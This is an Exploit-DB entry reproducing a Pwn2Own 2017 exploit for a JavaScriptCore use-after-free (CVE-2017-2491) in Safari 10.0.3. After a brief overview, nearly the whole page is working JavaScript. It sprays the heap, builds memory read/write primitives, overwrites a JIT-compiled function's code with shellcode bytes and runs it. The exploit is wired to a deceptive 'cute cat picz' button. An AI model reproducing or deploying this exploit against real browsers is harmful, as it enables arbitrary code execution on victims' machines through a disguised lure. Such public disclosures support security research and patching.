Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free

EDB-ID:

41964


Platform:

macOS

Published:

2017-05-04

<!--
Sources: 
https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html

Overview
The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.

-->

<script>

function make_compiled_function() {
    function target(x) {
        return x*5 + x - x*x;
    }
    // Call only once so that function gets compiled with low level interpreter
    // but none of the optimizing JITs
    target(0);
    return target;
}

function pwn() {
    var haxs = new Array(0x100);
    for (var i = 0; i < 0x100; ++i)
        haxs[i] = new Uint8Array(0x100);

    // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,
    // which is the butterfly length if hax is later used as a butterfly for a
    // fake JSArray.
    var hax = haxs[0x80];
    var hax2 = haxs[0x81];

    var target_func = make_compiled_function();

    // Small helper to avoid allocations with .set(), so we don't mess up the heap
    function set(p, i, a,b,c,d,e,f,g,h) {
        p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
    }

    function spray() {
        var res = new Uint8Array(0x7ffff000);
        for (var i = 0; i < 0x7ffff000; i += 0x1000) {
            // Write heap pattern.
            // We only need a structure pointer every 128 bytes, but also some of
            // structure fields need to be != 0 and I can't remember which, so we just
            // write pointers everywhere.
            for (var j = 0; j < 0x1000; j += 8)
                set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

            // Write the offset to the beginning of each page so we know later
            // with which part we overlap.
            var j = i+1+2*8;
            set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
        }
        return res;
    }

    // Spray ~14 GiB worth of array buffers with our pattern.
    var x = [
        spray(), spray(), spray(), spray(),
        spray(), spray(), spray(), spray(),
    ];

    // The butterfly of our fake object will point to 0x200000001. This will always
    // be inside the second sprayed buffer.
    var buf = x[1];

    // A big array to hold reference to objects we don't want to be freed.
    var ary = new Array(0x10000000);
    var cnt = 0;

    // Set up objects we need to trigger the bug.
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g");
    var part = "ab".repeat(n);
    var s = (part + "|").repeat(m);

    // Set up some views to convert pointers to doubles
    var convert = new ArrayBuffer(0x20);
    var cu = new Uint8Array(convert);
    var cf = new Float64Array(convert);

    // Construct fake JSCell header
    set(cu, 0,
        0,0,0,0,  // structure ID
        8,        // indexing type
        0,0,0);   // some more stuff we don't care about

    var container = {
        // Inline object with indebufng type 8 and butterly pointing to hax.
        // Later we will refer to it as fakearray.
        jsCellHeader: cf[0],
        butterfly: hax,
    };

    while (1) {
        // Try to trigger bug
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] === 'string') {
                    // Root all the callback arguments to force GC at some point
                    ary[cnt++] = arguments[i];
                    continue;
                }
                var a = arguments[i];

                // a.butterfly points to 0x200000001, which is always
                // inside buf, but we are not sure what the exact
                // offset is within it so we read a marker value.
                var offset = a[2];

                // Compute addrof(container) + 16. We write to the fake array, then
                // read from a sprayed array buffer on the heap.
                a[2] = container;
                var addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Add 16 to get address of inline object
                addr += 16;

                // Do the inverse to get fakeobj(addr)
                for (var j = 0; j < 8; ++j) {
                    buf[offset + j] = addr & 0xff;
                    addr /= 0x100;
                }
                var fakearray = a[2];

                // Re-write the vector pointer of hax to point to hax2.
                fakearray[2] = hax2;

                // At this point hax.vector points to hax2, so we can write
                // the vector pointer of hax2 by writing to hax[16+{0..7}]

                // Leak address of JSFunction
                a[2] = target_func;
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Follow a bunch of pointers to RWX location containing the
                // function's compiled code
                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 4*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                // Write shellcode
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                hax2[0] = 0xcc;
                hax2[1] = 0xcc;
                hax2[2] = 0xcc;

                // Pwn.
                target_func();
            }
            return "x";
        });
    }
}
</script>

<button onclick="pwn()">click here for cute cat picz!</button>